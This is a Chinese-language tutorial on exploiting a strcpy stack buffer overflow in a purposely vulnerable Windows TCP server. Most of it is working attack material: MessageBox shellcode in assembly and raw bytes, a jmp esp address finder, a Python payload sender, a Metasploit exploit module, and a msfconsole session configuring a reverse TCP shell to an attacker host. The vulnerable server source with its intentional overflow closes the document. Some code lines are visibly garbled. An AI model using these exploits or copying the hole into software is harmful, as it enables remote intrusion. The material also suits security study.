简单远程溢出漏洞挖掘--strcpy引发的血案

1. 可以在发送的前200字节填充需要执行的功能的机器码，空间限制为200字节，201至204字节处填写缓冲区起始地址，即如上例中执行至0x00401206时的esp的值，这样开发出的shellcode局限性较强，我们可以通过调试得到本机此时esp中的值，但换个机器我们所调试得到的地址不一定适用了。
2. 为保证shellcode的通用性强，我们可以测试不同win系统中ntdll.dll中jmp esp的地址，填入201~204字节处。为什么要选取ntdll中的jmp esp呢？因为在函数返回的时候，栈帧弹出，esp指向的一定是返回地址下面的一个栈空间。而win电脑开机都会加载ntdll库。所以在发送数据的前200字节继续填充字符a，201至204填ntdll中的jmp esp指令的地址，205字节往后可以发挥我们需要执行的功能了。

/*****************************************************************************
      To be the apostrophe which changed "Impossible" into "I'm possible"!
		
POC code of chapter 3.4 in book "Vulnerability Exploit and Analysis Technique"
 
file name	: shellcode_popup_general.c
author		: failwest  
date		: 2006.10.20
description	: can be run across OS platform and different patch version
				the code used to generate PE file and extract binary code   
Noticed		:  
version		: 1.0
E-mail		: failwest@gmail.com
		
	Only for educational purposes    enjoy the fun from exploiting :)
******************************************************************************/

int main()
{	
	_asm{
			nop
			nop
			
		
			
			nop
			nop
			nop
			CLD					; clear flag DF
			;store hash
			push 0x1e380a6a		;hash of MessageBoxA
			push 0x4fd18963		;hash of ExitProcess
			push 0x0c917432		;hash of LoadLibraryA
			mov esi,esp			; esi = addr of first function hash 
			lea edi,[esi-0xc]	; edi = addr to start writing function 

			

			; make some stack space
			xor ebx,ebx
			mov bh,0x04 			 
			sub esp,ebx 
			


			
			; push a pointer to "user32" onto stack 
			mov bx,0x3233 		; rest of ebx is null 
			push ebx 
			push 0x72657375 
			push esp 
			
			xor edx,edx


		; find base addr of kernel32.dll 
			mov ebx,fs:[edx + 0x30] 	; ebx = address of PEB 
			mov ecx,[ebx + 0x0c] 		; ecx = pointer to loader data 
			mov ecx,[ecx + 0x1c] 		; ecx = first entry in initialisation order list 
			mov ecx,[ecx] 				; ecx = second entry in list (kernel32.dll) 
			mov ebp,[ecx + 0x08] 		; ebp = base address of kernel32.dll 
			
						
		find_lib_functions: 
		
			lodsd 					; load next hash into al and increment esi 
			cmp eax,0x1e380a6a		; hash of MessageBoxA - trigger 
									; LoadLibrary("user32") 
			jne find_functions 
			xchg eax,ebp 			; save current hash 
			call [edi - 0x8] 		; LoadLibraryA 
			xchg eax,ebp 			; restore current hash,and update ebp 
									; with base address of user32.dll 
			
			
		find_functions: 
			pushad 						; preserve registers 
			mov eax,[ebp + 0x3c]		; eax = start of PE header 
			mov ecx,[ebp + eax + 0x78]	; ecx = relative offset of export table 
			add ecx,ebp 				; ecx = absolute addr of export table 
			mov ebx,[ecx + 0x20] 		; ebx = relative offset of names table 
			add ebx,ebp 				; ebx = absolute addr of names table 
			xor edi,edi 				; edi will count through the functions 

		next_function_loop: 
			inc edi 					; increment function counter 
			mov esi,[ebx + edi * 4] 	; esi = relative offset of current function name 
			add esi,ebp 				; esi = absolute addr of current function name 
			cdq 						; dl will hold hash (we know eax is small) 
			
		hash_loop: 
			movsx eax,byte ptr[esi]
			cmp al,ah
			jz compare_hash
			ror edx,7
			add edx,eax
			inc esi
			jmp hash_loop

		compare_hash:	
			cmp edx,[esp + 0x1c] 		; compare to the requested hash (saved on stack from pushad) 
			jnz next_function_loop 
			
		 
			mov ebx,[ecx + 0x24] 		; ebx = relative offset of ordinals table 
			add ebx,ebp 				; ebx = absolute addr of ordinals table 
			mov di,[ebx + 2 * edi] 	; di = ordinal number of matched function 
			mov ebx,[ecx + 0x1c] 		; ebx = relative offset of address table 
			add ebx,ebp 				; ebx = absolute addr of address table 
			add ebp,[ebx + 4 * edi] 	; add to ebp (base addr of module) the 
										; relative offset of matched function 
			xchg eax,ebp 				; move func addr into eax 
			pop edi 					; edi is last onto stack in pushad 
			stosd 						; write function addr to [edi] and increment edi 
			push edi 
			popad					; restore registers 
					 				; loop until we reach end of last hash 
			cmp eax,0x1e380a6a
			jne find_lib_functions 

		function_call:
			xor ebx,ebx
			push ebx			// cut string
			push 0x74736577
			push 0x6C696166		//push failwest
			mov eax,esp			//load address of failwest
			push ebx	
			push eax
			push eax
			push ebx
			call [edi - 0x04] ; //call MessageboxA
			push ebx
			call [edi - 0x08] ; // call ExitProcess
			nop
			nop
			nop
			nop
	}
}

#include <stdio.h>
#include <windows.h>

void main()
{
	HMODULE hUser32 = 0;
	BOOL    bDone   = FALSE;
	BYTE   *btPtr   = 0;
	int		nPos    = 0;
	int     nAddr   = 0;

	hUser32 = LoadLibrary("ntdll.dll");
	if( !hUser32 )
	{
		printf("Load failed!n");
		exit(0);
	}
	
	btPtr = (BYTE*)hUser32;

	for( ; !bDone; nPos++)
	{
		if(btPtr[nPos]==0xff && btPtr[nPos+1]==0xe4)
		{
			// 0xffe4 is the opcode of jmp esp
			nAddr = (int)btPtr + nPos;
			printf("0x%xn",nAddr);
		}
	}
}

import socket

shellcode = b"
x61x61x61x61x61x61x61x61x61x61
x61x61x61x61x61x61x61x61x61x61
x61x61x61x61x61x61x61x61x61x61
x61x61x61x61x61x61x61x61x61x61
x61x61x61x61x61x61x61x61x61x61
x61x61x61x61x61x61x61x61x61x61
x61x61x61x61x61x61x61x61x61x61
x61x61x61x61x61x61x61x61x61x61
x61x61x61x61x61x61x61x61x61x61
x61x61x61x61x61x61x61x61x61x61
x61x61x61x61x61x61x61x61x61x61
x61x61x61x61x61x61x61x61x61x61
x61x61x61x61x61x61x61x61x61x61
x61x61x61x61x61x61x61x61x61x61
x61x61x61x61x61x61x61x61x61x61
x61x61x61x61x61x61x61x61x61x61
x61x61x61x61x61x61x61x61x61x61
x61x61x61x61x61x61x61x61x61x61
x61x61x61x61x61x61x61x61x61x61
x61x61x61x61x61x61x61x61x61x61
xd8xfcx93x7cxFCx68x6Ax0Ax38x1E
x68x63x89xD1x4Fx68x32x74x91x0C
x8BxF4x8Dx7ExF4x33xDBxB7x04x2B
xE3x66xBBx33x32x53x68x75x73x65
x72x54x33xD2x64x8Bx5Ax30x8Bx4B
x0Cx8Bx49x1Cx8Bx09x8Bx69x08xAD
x3Dx6Ax0Ax38x1Ex75x05x95xFFx57
xF8x95x60x8Bx45x3Cx8Bx4Cx05x78
x03xCDx8Bx59x20x03xDDx33xFFx47
x8Bx34xBBx03xF5x99x0FxBEx06x3A
xC4x74x08xC1xCAx07x03xD0x46xEB
xF1x3Bx54x24x1Cx75xE4x8Bx59x24
x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03
xDDx03x2CxBBx95x5FxABx57x61x3D
x6Ax0Ax38x1Ex75xA9x33xDBx53x68
x64x61x6dx69x8BxC4x53x50x50x53
xFFx57xFCx53xFFx57xF8"

if "__main__" == __name__ :

    sockClient = socket.socket(socket.AF_INET,7777))
    sockClient.send(shellcode)

    sockClient.close()
    print('connect closed')

#!/usr/bin/env ruby
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
	include Exploit::Remote::Tcp
	def initialize(info={})
		super(update_info(info,'Name'	=>	'dami_test','Platform'	=>	'win','Targets'	=>	[
				['Windows 2000',{'Ret'=>0x77F8948B}],['Windows XP SP2',{'Ret'=>0x7c93fcd8}] #0x7c93fcd8
				],'Payload'	=>	{
				'Space'	=> 500,'BadChars'	=> "x00",'StackAdjustment' => -3500,}
		))
	end

	def exploit
		connect
		attack_buf = 'a'*204 + [target['Ret']].pack('V') + payload.encoded
		sock.put(attack_buf)
		handler
		disconnect
	end
end

root@bt:~# msfconsole 

MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMM                MMMMMMMMMM
MMMN$                           vMMMM
MMMNl  MMMMM             MMMMM  JMMMM
MMMNl  MMMMMMMN       NMMMMMMM  JMMMM
MMMNl  MMMMMMMMMNmmmNMMMMMMMMM  JMMMM
MMMNI  MMMMMMMMMMMMMMMMMMMMMMM  jMMMM
MMMNI  MMMMMMMMMMMMMMMMMMMMMMM  jMMMM
MMMNI  MMMMM   MMMMMMM   MMMMM  jMMMM
MMMNI  MMMMM   MMMMMMM   MMMMM  jMMMM
MMMNI  MMMNM   MMMMMMM   MMMMM  jMMMM
MMMNI  WMMMM   MMMMMMM   MMMM#  JMMMM
MMMMR  ?MMNM             MMMMM .dMMMM
MMMMNm `?MMM             MMMM` dMMMMM
MMMMMMN  ?MM             MM?  NMMMMMN
MMMMMMMMNe                 JMMMMMNMMM
MMMMMMMMMMNm,eMMMMMNMMNMM
MMMMNNMNMMMMMNx        MMMMMMNMMNMMNM
MMMMMMMMNMMNMMMMm+..+MMNMMNMNMMNMMNMM
        http://metasploit.pro


       =[ metasploit v4.9.2-dev [core:4.9 api:1.0]        ]
+ -- --=[ 1304 exploits - 700 auxiliary - 207 post        ]
+ -- --=[ 335 payloads - 35 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use exploit/windows/dami/test1 
msf exploit(test1) > set rhost 10.10.10.128
rhost => 10.10.10.128
msf exploit(test1) > set rport 7777
rport => 7777
msf exploit(test1) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
msf exploit(test1) > set lhost 10.10.10.132
lhost => 10.10.10.132
msf exploit(test1) > set target 1
target => 1
msf exploit(test1) > exploit 

push  ebp

#include <stdio.h>
#include <iostream.h>
#include <winsock2.h>

#pragma comment(lib,"ws2_32.lib")


void msg_display(char *buf);





void main()
{
	int sock,msgsock,lenth,receive_len;
	struct sockaddr_in sock_server,sock_client;
	char buf[0x200];

	WSADATA wsa;
	WSAStartup(MAKEWORD(1,1),&wsa);

	if( (sock=socket(AF_INET,SOCK_STREAM,0)) < 0 )
	{
		cout<<sock<<"socket creating error!"<<endl;
		exit(1);
	}

	sock_server.sin_family = AF_INET;
	sock_server.sin_port   = htons(7777);
	sock_server.sin_addr.s_addr=htonl(INADDR_ANY);
	if(bind(sock,(struct sockaddr*)&sock_server,sizeof(sock_server)))
	{
		cout<<"binging stream socket error!"<<endl;
	}

	cout<<"**************************************"<<endl;
	cout<<"     exploit target server 1.0	   "<<endl;
	cout<<"**************************************"<<endl;

	listen(sock,4);
	lenth = sizeof(struct sockaddr);

	do{
		msgsock = accept(sock,(struct sockaddr*)&sock_client,(int*)&lenth);

		if( msgsock==-1 )
		{
			cout<<"accept error!"<<endl;
			break;
		}
		else
		{
			do{
				memset(buf,sizeof(buf));

				if((receive_len=recv(msgsock,buf,sizeof(buf),0))<0)
				{
					cout<<"reading stream message error!"<<endl;
					receive_len = 0;
				}
				
				msg_display(buf);

			}while(receive_len);

			closesocket(msgsock);
		}
	}while(1);

	WSACleanup();

}





void msg_display(char *buf)
{
	char msg[200];
	strcpy(msg,buf);
	cout<<"**********************"<<endl;
	cout<<"received:"<<endl;
	cout<<msg<<endl;
}